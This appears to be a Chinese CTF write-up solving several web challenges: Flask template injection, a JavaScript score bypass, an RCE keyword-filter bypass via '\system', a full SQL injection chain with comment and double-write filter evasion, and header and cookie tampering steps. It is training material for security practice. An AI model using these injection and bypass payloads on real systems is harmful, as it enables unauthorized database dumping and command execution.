ezflask – Flask模板注入

打开题目,输入{{7*7}}
发现回显49,说明存在Flask模板注入漏洞。
使用fenjing工具直接扫描:
fenjing scan -u http://27.25.151.26:32635/

ezjs – JavaScript前端绕过

打开题目,Ctrl+U分析源码,发现三个JS文件。
在main.js中发现输出flag的条件:
if (scoreNow === 100000000000) {
fetch('getflag.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'score=' + scoreNow
})
.then(response => response.text())
.then(data => {
alert("恭喜你!flag是:" + data);
})
.catch(error => {
console.error('错误:', error);
});
}
在控制台输入:
game.score=100000000000; game.successCallback(100000000000);

ezrce – RCE绕过

题目过滤了大量关键字,但过滤函数是数组形式。
可以使用反斜杠表示全局命名空间中的system函数:
- 在检测时
\system
不会被过滤 - call_user_func会将
\system
解析为全局的system函数 - 将
\cat+/flag
作为参数传递,命令行会忽略反斜杠
使用Burp Suite发送payload:

ezsql1.0 – SQL注入

输入1 or 1=1
触发WAF,单独输入or
和1=1
不触发,说明过滤了空格,使用/**/
绕过。
尝试select无结果,双写绕过有效:
-1/**/union/**/selecselectt/**/1,group_concat(schema_name),3/*
发现敏感库(ctf和xuanyuanCTF):
-1/**/union/**/selecselectt/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'
-1/**/union/**/selecselectt/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema='ctf'/**/and/**/table_name='flag'
1/**/union/**/selecselectt/**/1,group_concat(data),3/**/from/**/flag
得到一个假flag后,继续查询:
-1/**/union/**/selecselectt/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='xuanyuanCTF'
-1/**/union/**/selecselectt/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema='xuanyuanCTF'/**/and/**/table_name='info'
1/**/union/**/selecselectt/**/1,group_concat(content),3/**/from/**/xuanyuanCTF.info
得到base64编码的flag:ZmxhZ3vmrKLov47mnaXliLDovanovpXmna99
,解码后为:flag{欢迎来到轩辕杯}
ezSSRF – SSRF漏洞利用
目录扫描发现/flag文件:

访问下载flag文件,使用010编辑器打开:

签到题 – 多关卡Web挑战

第一关:修改cookie从user改为admin:

第二关:使用%0截断:

第三关:设置Referer头为题目URL+secretcode,POST发送key=ctfpass
:

第四关:改为HEAD请求,UA改为identity=n1c3
:

第五关:使用AI辅助解决:

第六关:过滤了cat、tac和flag关键字,使用nl
+通配符绕过:

评论(3)